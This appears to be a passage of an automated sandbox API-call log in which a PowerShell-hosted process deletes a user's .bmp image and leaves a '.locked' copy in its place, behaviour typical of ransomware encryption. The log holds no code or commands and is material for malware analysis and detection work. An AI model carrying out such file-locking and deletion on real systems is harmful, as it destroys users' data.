lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\1HXSP\\.", nBufferLength=0x105, lpBuffer=0x99adebc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\1HXSP", lpFilePart=0x0) returned 0x4f [0134.921] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\1HXSP\\Fa3z5avrpn.bmp" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\a8ox4-5swjafjja-_d\\psf2p6cekxuxulh\\-0hhthw\\1hxsp\\fa3z5avrpn.bmp")) returned 0x20 [0134.921] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\1HXSP\\Fa3z5avrpn.bmp", nBufferLength=0x105, lpBuffer=0x99adf28, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\1HXSP\\Fa3z5avrpn.bmp", lpFilePart=0x0) returned 0x5e [0134.922] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\1HXSP\\Fa3z5avrpn.bmp", nBufferLength=0x105, lpBuffer=0x99adebc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\1HXSP\\Fa3z5avrpn.bmp", lpFilePart=0x0) returned 0x5e [0134.922] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\1HXSP\\Fa3z5avrpn.bmp", nBufferLength=0x105, lpBuffer=0x99ae064, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\1HXSP\\Fa3z5avrpn.bmp", lpFilePart=0x0) returned 0x5e [0134.922] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae524) returned 1 [0134.922] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\1HXSP\\Fa3z5avrpn.bmp", nBufferLength=0x105, lpBuffer=0x99ae02c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\1HXSP\\Fa3z5avrpn.bmp", lpFilePart=0x0) returned 0x5e [0134.922] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\1HXSP\\Fa3z5avrpn.bmp\\", nBufferLength=0x105, lpBuffer=0x99ae000, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\1HXSP\\Fa3z5avrpn.bmp\\", lpFilePart=0x0) returned 0x5f [0134.922] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\1HXSP\\Fa3z5avrpn.bmp\\*", lpFindFileData=0x99ae24c | out: lpFindFileData=0x99ae24c) returned 0xffffffff [0134.922] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae4e8) returned 1 [0134.922] CoTaskMemAlloc (cb=0x404) returned 0x8eb8930 [0134.922] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x10b, dwLanguageId=0x0, lpBuffer=0x8eb8930, nSize=0x200, Arguments=0x0 | out: lpBuffer="The directory name is invalid.\r\n") returned 0x20 [0134.922] CoTaskMemFree (pv=0x8eb8930) [0134.923] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\1HXSP\\Fa3z5avrpn.bmp" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\a8ox4-5swjafjja-_d\\psf2p6cekxuxulh\\-0hhthw\\1hxsp\\fa3z5avrpn.bmp")) returned 0x20 [0134.923] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\1HXSP\\Fa3z5avrpn.bmp", nBufferLength=0x105, lpBuffer=0x99adff0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\1HXSP\\Fa3z5avrpn.bmp", lpFilePart=0x0) returned 0x5e [0134.923] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\1HXSP\\Fa3z5avrpn.bmp", nBufferLength=0x105, lpBuffer=0x99adf6c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\1HXSP\\Fa3z5avrpn.bmp", lpFilePart=0x0) returned 0x5e [0134.923] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae448) returned 1 [0134.923] GetFileAttributesExW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\1HXSP\\Fa3z5avrpn.bmp" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\a8ox4-5swjafjja-_d\\psf2p6cekxuxulh\\-0hhthw\\1hxsp\\fa3z5avrpn.bmp"), fInfoLevelId=0x0, lpFileInformation=0x693ae30 | out: lpFileInformation=0x693ae30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3db9d5a0, ftCreationTime.dwHighDateTime=0x1d4a094, ftLastAccessTime.dwLowDateTime=0xee2e27e0, ftLastAccessTime.dwHighDateTime=0x1d4a64a, ftLastWriteTime.dwLowDateTime=0xee2e27e0, ftLastWriteTime.dwHighDateTime=0x1d4a64a, nFileSizeHigh=0x0, nFileSizeLow=0x13016)) returned 1 [0134.924] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae444) returned 1 [0134.924] DeleteFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\1HXSP\\Fa3z5avrpn.bmp" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\a8ox4-5swjafjja-_d\\psf2p6cekxuxulh\\-0hhthw\\1hxsp\\fa3z5avrpn.bmp")) returned 1 [0134.928] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x8c, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.928] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0134.929] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x8d, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.929] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x8c, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.929] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x8d, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x8d, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.930] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\1HXSP\\Fa3z5avrpn.bmp.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\a8ox4-5swjafjja-_d\\psf2p6cekxuxulh\\-0hhthw\\1hxsp\\fa3z5avrpn.bmp.locked")) returned 0x20 [0134.931] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\1HXSP\\Fa3z5avrpn.bmp.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\a8ox4-5swjafjja-_d\\psf2p6cekxuxulh\\-0hhthw\\1hxsp\\fa3z5avrpn.bmp.locked")) returned 0x20 [0134.931] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\1HXSP\\Fa3z5avrpn.bmp.locked", nBufferLength=0x105, lpBuffer=0x99ae058, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\1HXSP\\Fa3z5avrpn.bmp.locked", lpFilePart=0x0) returned 0x65 [0134.931] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\1HXSP\\Fa3z5avrpn.bmp.locked", nBufferLength=0x105, lpBuffer=0x99ae01c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\1HXSP\\Fa3z5avrpn.bmp.locked", lpFilePart=0x0) returned 0x65 [0134.931] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x8d, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.931] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\1HXSP\\Fa3z5avrpn.bmp", nBufferLength=0x105, lpBuffer=0x99ae298, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\1HXSP\\Fa3z5avrpn.bmp", lpFilePart=0x0) returned 0x5e [0134.931] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0134.931] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x8e, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.931] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x8d, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.931] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x8e, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x8e, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.934] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x8e, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.934] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="\xff00\xffff") returned 0x0 [0134.934] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x8f, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.934] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x8e, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.934] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x8f, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x8f, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.935] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x8f, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.935] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0134.935] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x90, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.935] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x8f, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.935] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x90, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x90, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.937] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x90, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.937] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0134.937] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x91, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.937] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x90, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.937] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x91, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x91, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.938] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x91, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.938] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0134.938] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x92, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.938] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x91, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.938] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x92, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x92, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.940] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x92, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.941] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x99add1c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x87 [0134.941] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ade98) returned 1 [0134.941] GetFileAttributesExW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\1HXSP\\Fa3z5avrpn.bmp.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\a8ox4-5swjafjja-_d\\psf2p6cekxuxulh\\-0hhthw\\1hxsp\\fa3z5avrpn.bmp.locked"), fInfoLevelId=0x0, lpFileInformation=0x6952f2c | out: lpFileInformation=0x6952f2c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x13a2f9a8, ftCreationTime.dwHighDateTime=0x1d4bf19, ftLastAccessTime.dwLowDateTime=0x13a2f9a8, ftLastAccessTime.dwHighDateTime=0x1d4bf19, ftLastWriteTime.dwLowDateTime=0x13a55b38, ftLastWriteTime.dwHighDateTime=0x1d4bf19, nFileSizeHigh=0x0, nFileSizeLow=0x13034)) returned 1 [0134.941] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ade94) returned 1 [0134.941] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\1HXSP\\Fa3z5avrpn.bmp.locked", nBufferLength=0x105, lpBuffer=0x99ad974, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\1HXSP\\Fa3z5avrpn.bmp.locked", lpFilePart=0x0) returned 0x65 [0134.941] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\1HXSP\\Fa3z5avrpn.bmp.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\a8ox4-5swjafjja-_d\\psf2p6cekxuxulh\\-0hhthw\\1hxsp\\fa3z5avrpn.bmp.locked"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x858 [0134.941] GetFileInformationByHandle (in: hFile=0x858, lpFileInformation=0x99adee0 | out: lpFileInformation=0x99adee0) returned 1 [0134.941] CloseHandle (hObject=0x858) returned 1 [0134.944] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x234, lpConsoleScreenBufferInfo=0x99ae54c | out: lpConsoleScreenBufferInfo=0x99ae54c) returned 1 [0134.944] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae554 | out: lpMode=0x99ae554) returned 1 [0134.944] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x68b591c*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x99ae54c, lpReserved=0x0 | out: lpBuffer=0x68b591c*, lpNumberOfCharsWritten=0x99ae54c*=0x2) returned 1 [0134.948] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x234, lpConsoleScreenBufferInfo=0x99ae4f0 | out: lpConsoleScreenBufferInfo=0x99ae4f0) returned 1 [0134.948] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x234, lpConsoleScreenBufferInfo=0x99ae544 | out: lpConsoleScreenBufferInfo=0x99ae544) returned 1 [0134.948] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae54c | out: lpMode=0x99ae54c) returned 1 [0134.948] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x68b591c*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x99ae544, lpReserved=0x0 | out: lpBuffer=0x68b591c*, lpNumberOfCharsWritten=0x99ae544*=0x2) returned 1 [0134.952] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x234, lpConsoleScreenBufferInfo=0x99ae554 | out: lpConsoleScreenBufferInfo=0x99ae554) returned 1 [0134.952] GetConsoleOutputCP () returned 0x1b5 [0134.952] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae2d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae2d8) returned 0 [0134.952] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x234, lpConsoleScreenBufferInfo=0x99ae3a4 | out: lpConsoleScreenBufferInfo=0x99ae3a4) returned 1 [0134.952] GetConsoleOutputCP () returned 0x1b5 [0134.953] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae340, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae340) returned 0 [0134.953] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae3ac | out: lpMode=0x99ae3ac) returned 1 [0134.953] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x697bff4*, nNumberOfCharsToWrite=0x5e, lpNumberOfCharsWritten=0x99ae3a4, 